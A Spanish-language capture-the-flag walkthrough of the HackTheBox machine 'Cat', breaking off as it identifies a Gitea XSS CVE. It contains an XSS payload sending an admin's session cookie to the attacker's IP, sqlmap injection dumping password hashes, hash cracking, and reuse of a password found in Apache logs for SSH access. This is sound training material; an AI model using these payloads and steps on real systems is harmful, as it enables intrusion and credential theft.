Cat – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad : Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Cat” es una máquina de dificultad Media de la plataforma HackTheBox
. La máquina víctima se encuentra corriendo un servidor web el cual filtra los archivos/código fuente corriendo el servidor en un repositorio oculto. Esto nos muestra una ruta para resolver la máquina: crear una cuenta cuyo nombre sea un Cross Site Scripting
(XSS
), el cual serà revisado por un admin a travès de uan tarea y esto nos permite extraer su cookie de usuario. Una vez con esta cookie, podemos acceder a un panel de admin vulnerable a SQL Injection
, lo cual nos permite extraer una contraseña de una base de datos y ganar acceso a través de SSH
en el sistema. Una vez dentro, podemos ver que la máquina víctima está corriendo un servicio Gitea
interno. Este servicio es vulnerable a CVE-2024-6886 que es otro XSS
. El sistema se encuentra corriendo una tarea la cual visita un repositorio automáticamente, por lo que nos aprovechamos de esta vulnerabilidad para obtener el código fuente de un script corriendo en la máquina víctima. Este script contiene las credenciales del usuario root
, lo que nos permite ganar control total del sistema.
User / Usuario Link to heading
Empezamos con un rápido escaneo con Nmap
sobre la máquina víctima buscando peurtos TCP
abiertos; encontrando así 2 puertos abiertos: 22
SSH
and 80
HTTP
.
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn 10.10.11.53
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 00:52 -03
Nmap scan report for 10.10.11.53
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 16.49 seconds
Aplicando algunos scripts de reconocimiento sobre estos puertos con al flag -sVC
obtenemos:
❯ sudo nmap -sVC -p22,80 10.10.11.53
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 00:55 -03
Nmap scan report for 10.10.11.53
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.38 seconds
Del output podemos ver un dominio: cat.htb
. Agregamos este dominio junto con la IP de la máquina víctima en nuestro archivo /etc/hosts
ejecutando en uan terminal:
❯ echo '10.10.11.53 cat.htb' | sudo tee -a /etc/hosts
Podemos revisar las tecnologías siendo utilizadas por el servidor web usando WhatWeb
:
❯ whatweb -a 3 http://cat.htb
http://cat.htb [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.53], Title[Best Cat Competition]
Podemos ver que está ejecutando Apache
.
Visitamos http://cat.htb
en un navegador de internet. Podemos ver una página web acerca de un concurso de gatos:
La página muestra algunos ficheros usando PHP
. Entre ellos, si clickeamos en Join
podemos crear un usuario en la ruta /join.php
:
Creamos una cuenta y, luego de crearla, clickeamos en Already have an account?
y pasamos las credenciales. Ahora podemos visitar la pestaña Contest
la cual redirige a /contest.php
:
Podemos subir información acerca de gatos. Pero nada más allá de ello.
Podemos buscar por directorios a través de un Brute Force Directory Listing
con la herramienta Gobuster
usando el diccionario raft-small-words.txt de SecLists
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://cat.htb -x php -t 40 --no-error
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cat.htb
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 272]
/admin.php (Status: 302) [Size: 1] [--> /join.php]
<SNIP>
/winners.php (Status: 200) [Size: 5082]
/winners (Status: 301) [Size: 304] [--> http://cat.htb/winners/]
/.htpasswd.php (Status: 403) [Size: 272]
/.htpasswd (Status: 403) [Size: 272]
/.git (Status: 301) [Size: 301] [--> http://cat.htb/.git/]
/.html. (Status: 403) [Size: 272]
<SNIP>
Progress: 86014 / 86016 (100.00%)
===============================================================
Finished
===============================================================
Entre todos los archivos podemos ver un directorio .git
lo cual parece ser un repositorio de Git
.
Podemos entonces usar la herramienta git-dumper
(que puede ser utilizada con pip3 install git-dumper
) para extraer el contenido del repositorio en un directorio que llamaremos git_content
:
❯ git-dumper http://cat.htb/.git/ ./git_content
Once we have dumped the Git
files, we check the extracted content:
❯ ls -la git_content
total 84
drwxrwxr-x 7 gunzf0x gunzf0x 4096 Feb 7 01:21 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Feb 7 01:23 ..
-rwxrwxr-x 1 gunzf0x gunzf0x 893 Feb 7 01:21 accept_cat.php
-rwxrwxr-x 1 gunzf0x gunzf0x 4496 Feb 7 01:21 admin.php
-rwxrwxr-x 1 gunzf0x gunzf0x 277 Feb 7 01:21 config.php
-rwxrwxr-x 1 gunzf0x gunzf0x 6676 Feb 7 01:21 contest.php
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb 7 01:21 css
-rwxrwxr-x 1 gunzf0x gunzf0x 1136 Feb 7 01:21 delete_cat.php
drwxrwxr-x 7 gunzf0x gunzf0x 4096 Feb 7 01:21 .git
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb 7 01:21 img
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb 7 01:21 img_winners
-rwxrwxr-x 1 gunzf0x gunzf0x 3509 Feb 7 01:21 index.php
-rwxrwxr-x 1 gunzf0x gunzf0x 5891 Feb 7 01:21 join.php
-rwxrwxr-x 1 gunzf0x gunzf0x 79 Feb 7 01:21 logout.php
-rwxrwxr-x 1 gunzf0x gunzf0x 2725 Feb 7 01:21 view_cat.php
-rwxrwxr-x 1 gunzf0x gunzf0x 1676 Feb 7 01:21 vote.php
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb 7 01:21 winners
-rwxrwxr-x 1 gunzf0x gunzf0x 3374 Feb 7 01:21 winners.php
Este parece ser el código fuente del servidor web que está corriendo.
Previamente, cuando realizamos fuerza bruta con Gobuster
, no teníamos acceso a los archivos config.php
ni admin.php
. Estos archivos son nuevos y pueden ser interesantes. Revisando config.php
muestra:
<?php
// Database configuration
$db_file = '/databases/cat.db';
// Connect to the database
try {
$pdo = new PDO("sqlite:$db_file");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Error: " . $e->getMessage());
}
?>
El script està cargando una base de datos SQLite
localizada en /database/cat.db
. Pero esta base de datos no está presente en el repositorio descargado. No obstante, esta información puede sernos de utilidad maś tarde.
Resivando luego admin.php
muestra una porción interesante de código:
<?php
session_start();
include 'config.php';
// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
header("Location: /join.php");
exit();
}
// Fetch cat data from the database
$stmt = $pdo->prepare("SELECT * FROM cats");
$stmt->execute();
$cats = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<SNIP>
El código revisa si es que una sesión de usuario no está definida o si el usuario de éste no es axel
y redirige a /join.php
.
Finalmente, si revisamos contest.php
(otra página que cuando la visitábamos redirigía a /join.php
) muestra:
<?php
session_start();
include 'config.php';
// Message variables
$success_message = "";
$error_message = "";
// Check if the user is logged in
if (!isset($_SESSION['username'])) {
header("Location: /join.php");
exit();
}
// Function to check for forbidden content
function contains_forbidden_content($input, $pattern) {
return preg_match($pattern, $input);
}
// Check if the form has been submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Capture form data
$cat_name = $_POST['cat_name'];
$age = $_POST['age'];
$birthdate = $_POST['birthdate'];
$weight = $_POST['weight'];
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
// Check for forbidden content
if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
contains_forbidden_content($age, $forbidden_patterns) ||
contains_forbidden_content($birthdate, $forbidden_patterns) ||
contains_forbidden_content($weight, $forbidden_patterns)) {
$error_message = "Your entry contains invalid characters.";
} else {
// Generate unique identifier for the image
$imageIdentifier = uniqid() . "_";
// Upload cat photo
$target_dir = "uploads/";
$target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
// Check if the file is an actual image or a fake file
$check = getimagesize($_FILES["cat_photo"]["tmp_name"]);
if($check !== false) {
$uploadOk = 1;
} else {
$error_message = "Error: The file is not an image.";
$uploadOk = 0;
}
// Check if the file already exists
if (file_exists($target_file)) {
$error_message = "Error: The file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["cat_photo"]["size"] > 500000) {
$error_message = "Error: The file is too large.";
$uploadOk = 0;
}
// Allow only certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
$error_message = "Error: Only JPG, JPEG, and PNG files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
} else {
if (move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file)) {
// Prepare SQL query to insert cat data
$stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
// Bind parameters
$stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
$stmt->bindParam(':age', $age, PDO::PARAM_INT);
$stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
$stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
$stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
$stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
// Execute query
if ($stmt->execute()) {
$success_message = "Cat has been successfully sent for inspection.";
} else {
$error_message = "Error: There was a problem registering the cat.";
}
} else {
$error_message = "Error: There was a problem uploading the file.";
}
}
}
}
?>
<SNIP>
Si el usuario está logueado en el sitio web, éste es capaz de ver los datos (asumo que algo relacionado a la descripción de los gatos de la página web) pasando diferentes parámetros a ésta. El script también revisa que no se estén usando potenciales caracteres para evitar una SQL Injection
. Si todo va bien, entonces la data es subida al servidor. Luego, el script también revisa la imagen y ve si ésta es válida; revisa su tamaño y la sube a la base de datos.
Uno de los archivos es accept_cat.php
. Cuyo contenido es:
<?php
include 'config.php';
session_start();
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['catId']) && isset($_POST['catName'])) {
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
$stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
$stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
$stmt_delete->execute();
echo "The cat has been accepted and added successfully.";
} else {
echo "Error: Cat ID or Cat Name not provided.";
}
} else {
header("Location: /");
exit();
}
} else {
echo "Access denied.";
}
?>
Donde una potencial línea/query peligrosa es:
INSERT INTO accepted_cats (name) VALUES ('$cat_name')
Sin embargo, si tratásemos de performar un SQL Injection
(SQLi
) como un usuario a través del fichero /contest.php
esto no funcionará gracias a los filtros que se estaban aplicando en este archivo.
También encontramos que el archivo accept_cat.php
está siendo llamado y ejecutado por el archivo admin.php
:
<SNIP>
function acceptCat(catName, catId) {
if (confirm("Are you sure you want to accept this cat?")) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "accept_cat.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
window.location.reload();
}
};
xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
}
}
function rejectCat(catId) {
if (confirm("Are you sure you want to reject this cat?")) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "delete_cat.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
window.location.reload();
}
};
xhr.send("catId=" + catId);
}
}
<SNIP>
Alguien o algo está revisando los datos que se suben al concurso de gatos a través de la web principal. El único problema es que tenemos una tarea bloqueando caracteres para un potencial SQLi
. Un parámetro que no está siendo revisado es el nombre del usuario, tal cual podemos ver en join.php
:
<?php
session_start();
include 'config.php';
$success_message = "";
$error_message = "";
// Registration process
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
$username = $_GET['username'];
$email = $_GET['email'];
$password = md5($_GET['password']);
$stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
$stmt_check->execute([':username' => $username, ':email' => $email]);
$existing_user = $stmt_check->fetch(PDO::FETCH_ASSOC);
if ($existing_user) {
$error_message = "Error: Username or email already exists.";
} else {
$stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
$stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);
if ($stmt_insert) {
$success_message = "Registration successful!";
} else {
$error_message = "Error: Unable to register user.";
}
}
}
<SNIP>
Por lo que el plan a seguir es el siguiente:
- Loguearnos en la aplicación con un usuario cuyo nombre sea un payload
Cross Site Scripting
(XSS
). - Ir a la página
/contest.php
y subir datos al concurso de gatos. - Esto generará datos que serán revisados eventualmente por un administrador, lo cual activará el payload
XSS
que podemos usar para robar una cookie de sesión. - Usamos la cookie de sesión para acceder a
/admin.php
.
De esta manera, al momento de crear una cuenta nos creamos uan cuyo nombre será un payload de XSS
:
<script>document.location='http://10.10.16.3/?c='+document.cookie;</script>
Donde 10.10.16.3
es nuestra IP de atacantes.
Dado que intentaremos enviarnos datos a través de payloads de XSS
, podemos empezar un servidor temporal HTTP
con Python
por el puerto 80
ejecutando en una terminal:
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Una vez hayamos creado la cuenta, clickeamos en el botón Already have an account?
. Clickeando allí ponemos nuestras credenciales de la cuenta maliciosa. Luego, podemos acceder a /contest.php
.
Rellenamos el formulario del concurso de gatos con datos random, una imagen random y enviamos el formulario. Luego de algunos segundos de haber enviado el formulario con la cuenta maliciosa, obtenemos un request en nuestro servidor temporal HTTP
:
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.53 - - [07/Feb/2025 02:55:46] "GET /?c=PHPSESSID=8ur7ibfluajaj1prlj3idigvnk HTTP/1.1" 200 -
10.10.11.53 - - [07/Feb/2025 02:55:47] code 404, message File not found
10.10.11.53 - - [07/Feb/2025 02:55:47] "GET /favicon.ico HTTP/1.1" 404 -
Vamos a nuestro navegador de internet (en mi caso Firefox
con Ctrl+Shift+I
) y reemplazamos nuestra cookie actual de sesión con la cookie obtenida. Podemos así ver ahora:
Tenemos en la parte superior una nueva pestaña de Admin
la cual redirige a /admin.php
.
No obstante, esta página está vacía:
Asumo que este es el sitio donde los gatos son aceptados o rechazados para el concurso. Pero no podemos ver nada ya que actualmente no tenemos peticiones de gatos para participar en el concurso.
Del análisis de los códigos fuente podemos recordar que existía una parámetro cat_name
el cual era potencialmente vulnerable a SQLi
. De esta manera, podemos usar SQLMap
tratando de obtener algo. Podemos especificar la base de datos que se está utilizando, la cual ya sabemos que es SQLite
y lo cual nos ahorrará mucho tiempo. Ejecutamos así:
❯ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=test" --cookie="PHPSESSID=a6hlvkq2jjt76gm3a6k0u376ob" -p catName --level=5 --risk=3 --dbms=SQLite --batch
<SNIP>
[03:11:17] [INFO] POST parameter 'catName' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
[03:11:17] [INFO] testing 'Generic inline queries'
[03:11:17] [INFO] testing 'SQLite inline queries'
[03:11:18] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[03:11:18] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[03:11:18] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[03:11:28] [INFO] POST parameter 'catName' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
<SNIP>
---
[03:11:55] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 20.10 or 19.10 or 20.04 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
El parámetro es vulnerable a SQLi
. Por lo que lo podemos usar para extraer cosas importantes de la base de datos.
Acto seguido, buscamos por tablas usando la flag --tables
:
❯ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=test" --cookie="PHPSESSID=a6hlvkq2jjt76gm3a6k0u376ob" -p catName --level=5 --risk=3 --dbms=SQLite --batch --tables --threads 10
<SNIP>
[03:14:04] [INFO] retrieved: 5
[03:14:14] [INFO] retrieved: users
<current>
[4 tables]
+-----------------+
| accepted_cats |
| cats |
| sqlite_sequence |
| users |
+-----------------+
Vemos una tabla llamada users
la cual puede ser interesante.
Extraemos el contenido de esta tabla usando las flags -T users --dump
:
❯ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=test" --cookie="PHPSESSID=a6hlvkq2jjt76gm3a6k0u376ob" -p catName --level=5 --risk=3 --dbms=SQLite --batch -T users --dump --threads 10
<SNIP>
[03:16:13] [INFO] retrieved: axel2017@gmail.com
[03:16:13] [INFO] retrieving the length of query output
[03:16:13] [INFO] retrieved: 32
[03:16:36] [INFO] retrieved: d1bbba3670feb9435c9841e46e60ee2f
[03:16:36] [INFO] retrieving the length of query output
[03:16:36] [INFO] retrieved: 1
[03:16:39] [INFO] retrieved: 1
[03:16:45] [INFO] retrieving the length of query output
[03:16:45] [INFO] retrieved: 4
[03:16:54] [INFO] retrieved: axel
[03:16:54] [INFO] retrieving the length of query output
[03:16:54] [INFO] retrieved: 24
[03:17:13] [INFO] retrieved: rosamendoza485@gmail.com
[03:17:13] [INFO] retrieving the length of query output
[03:17:13] [INFO] retrieved: 32
[03:17:35] [INFO] retrieved: ac369922d560f17d6eeb8b2c7dec498c
[03:17:35] [INFO] retrieving the length of query output
[03:17:35] [INFO] retrieved: 1
[03:17:38] [INFO] retrieved: 2
[03:17:44] [INFO] retrieving the length of query output
[03:17:44] [INFO] retrieved: 4
[03:17:53] [INFO] retrieved: rosa
[03:17:53] [INFO] retrieving the length of query output
[03:17:53] [INFO] retrieved: 29
[03:18:12] [INFO] retrieved: robertcervantes2000@gmail.com
[03:18:12] [INFO] retrieving the length of query output
[03:18:12] [INFO] retrieved: 32
[03:18:35] [INFO] retrieved: 42846631708f69c00ec0c0a8aa4a92ad
<SNIP>
Table: users
[11 entries]
+---------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+----------+
| user_id | email | password | username |
+---------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+----------+
| 1 | axel2017@gmail.com | d1bbba3670feb9435c9841e46e60ee2f | axel |
| 2 | rosamendoza485@gmail.com | ac369922d560f17d6eeb8b2c7dec498c | rosa |
| 3 | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad | robert |
| 4 | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe | fabian |
<SNIP>
Tenemos hashes para 3 usuarios: axel
, rosa
, fabian
and robert
.
Todos estos hashes tienen un largo de 32
caracteres. Por lo que muy posiblemente sean hashes MD5
.
❯ echo -n '42846631708f69c00ec0c0a8aa4a92ad' | wc -c
32
Podemos entonces tratar de crackear este hash a través de Brute Force Password Cracking
usando JohnTheRipper
(john
) junto con el diccionario rockyou.txt
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt sqlite_db_hashes --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
soyunaprincesarosa (?)
1g 0:00:00:02 DONE (2025-02-07 03:26) 0.4672g/s 6702Kp/s 6702Kc/s 15089KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Obtenemos una contraseña: soyunaprincesarosa
.
Revisamos con NetExec
si esta contraseña es válida para alguno de los usuario que se encontraban en la base de datos por medio de SSH
:
❯ nxc ssh 10.10.11.53 -u axel rosa robert fabian -p 'soyunaprincesarosa'
SSH 10.10.11.53 22 10.10.11.53 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH 10.10.11.53 22 10.10.11.53 [-] axel:soyunaprincesarosa
SSH 10.10.11.53 22 10.10.11.53 [+] rosa:soyunaprincesarosa Linux - Shell access!
Obtenemos credenciales para SSH
: rosa:soyunaprincesarosa
.
Ganamos acceso a la máquina víctima a través de SSH
como el usuario rosa
:
❯ sshpass -p 'soyunaprincesarosa' ssh -o stricthostkeychecking=no rosa@10.10.11.53
<SNIP>
rosa@cat:~$
Revisando los grupos de rosa
, notamos que es miembro del grupo adm
.
rosa@cat:~$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)
Linux
, el grupo adm
es un grupo de sistema que tradicionalmente se utiliza para otorgar permisos de acceso a archivos de registro del sistema y otras tareas de administración, permitiendo a sus miembros leer archivos en /var/log
.Del escaneo con WhatWeb
pudimos ver que el servidor web estaba corriendo mediante Apache
, por lo que podemos revisar logs de Apache
en la ruta /var/logs/apache2
. Buscamos por el string pass
(para password
) en este directorio con grep
, obteniendo así:
rosa@cat:~$ grep -ir 'pass' /var/log/apache2 2>/dev/null
/var/log/apache2/access.log:127.0.0.1 - - [07/Feb/2025:00:00:07 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
/var/log/apache2/access.log:127.0.0.1 - - [07/Feb/2025:00:00:18 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
<SNIP>
Obtenemos una potencial contraseña para el usuario axel
: aNdZwgC4tI9gnVXv_e3Q
.
Revisamos nuevamente con NetExec
a través de SSH
si estas credenciales son válidas para el usuario axel
:
❯ nxc ssh 10.10.11.53 -u axel -p 'aNdZwgC4tI9gnVXv_e3Q'
SSH 10.10.11.53 22 10.10.11.53 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH 10.10.11.53 22 10.10.11.53 [+] axel:aNdZwgC4tI9gnVXv_e3Q Linux - Shell access!
Lo son. Por lo que tenemos nuevas credenciales: axel:aNdZwgC4tI9gnVXv_e3Q
.
Accedemos a la máquina víctima por SSH
, pero ahora como el usuario axel
:
❯ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh -o stricthostkeychecking=no axel@10.10.11.53
<SNIP>
You have mail.
Last login: Thu Feb 6 22:01:05 2025 from 10.10.14.19
axel@cat:~$
Podemos extraer la flag de usuario.
Root Link to heading
Apenas logueamos, notamos que el usuario axel
tenía un mensaje: You have email
. Por lo que revisamos el directorio /var/mail/axel
en busca de mails:
axel@cat:~$ cat /var/mail/axel
From rosa@cat.htb Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From rosa@cat.htb Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
El mail habla sobre un servicio Gitea
hosteado en localhost:3000
(el puerto por defecto para Gitea
), y que alguien estará revisando un repositorio cuando notifiquemos por mail. Además, se menciona un repositorio de testeo http://localhost:3000/administrator/Employee-management/
.
Revisamos puertos internos abiertos en la máquina víctima:
axel@cat:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 10 127.0.0.1:587 0.0.0.0:*
LISTEN 0 1 127.0.0.1:39855 0.0.0.0:*
LISTEN 0 37 127.0.0.1:54547 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 10 127.0.0.1:25 0.0.0.0:*
LISTEN 0 128 127.0.0.1:55967 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
El puerto 3000
, que debería de ser de Gitea
, está abierto.
Adicionalmente podemos revisar si este es el sitio para Gitea
usando cURL
:
axel@cat:~$ curl -s http://127.0.0.1:3000 | grep -i gitea
<html lang="en-US" data-theme="gitea-auto">
<meta name="author" content="Gitea - Git with a cup of tea">
<meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<meta name="keywords" content="go,git,self-hosted,gitea">
customEmojis: {"codeberg":":codeberg:","git":":git:","gitea":":gitea:","github":":github:","gitlab":":gitlab:","gogs":":gogs:"},
<meta property="og:description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<link rel="stylesheet" href="/assets/css/theme-gitea-auto.css?v=1.22.0">
<a class="item" target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com">Help</a>
Simply <a target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com/installation/install-from-binary">run the binary</a> for your platform, ship it with <a target="_blank" rel="noopener noreferrer" href="https://github.com/go-gitea/gitea/tree/master/docker">Docker</a>, or get it <a target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com/installation/install-from-package">packaged</a>.
Gitea runs anywhere <a target="_blank" rel="noopener noreferrer" href="https://go.dev/">Go</a> can compile for: Windows, macOS, Linux, ARM, etc. Choose the one you love!
Gitea has low minimal requirements and can run on an inexpensive Raspberry Pi. Save your machine energy!
Go get <a target="_blank" rel="noopener noreferrer" href="https://code.gitea.io/gitea">code.gitea.io/gitea</a>! Join us by <a target="_blank" rel="noopener noreferrer" href="https://github.com/go-gitea/gitea">contributing</a> to make this project even better. Don't be shy to be a contributor!
<a target="_blank" rel="noopener noreferrer" href="https://about.gitea.com">Powered by Gitea</a>
Ya que este servicio está corriendo, podemos crear un túnel a través de un Local Port Forwarding
usando las credenciales de axel
por SSH
para ganar acceso a este servicio interno. Cerramos la sesión de SSH
actual y convertimos el puerto 3000
de la máquina víctima en nuestro puerto 3000
ejecutando en una terminal:
❯ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh -o stricthostkeychecking=no -L 3000:127.0.0.1:3000 axel@10.10.11.53
Una vez hayamos establecido el túnel, visitamos http://127.0.0.1:3000
en un navegador de internet y ahora tenemos acceso al sitio interno de Gitea
:
Podemos loguear en este sitio con las credenciales de axel
(axel:aNdZwgC4tI9gnVXv_e3Q
). No obstante, no hay ningún repositorio creado:
Yendo a Explore
y luego a Users
muestra, como decía el mail, un usuario Administrator
:
Pero no podemos ver mucho más.
En la parte inferior de este servicio podemos ver una versión de Gitea
: 1.22.0
. Buscando por vulnerabilidades para esta versión nos lleva a una vulnerabilidad catalogada como CVE-2024-6886 con un exploit de exploit-db
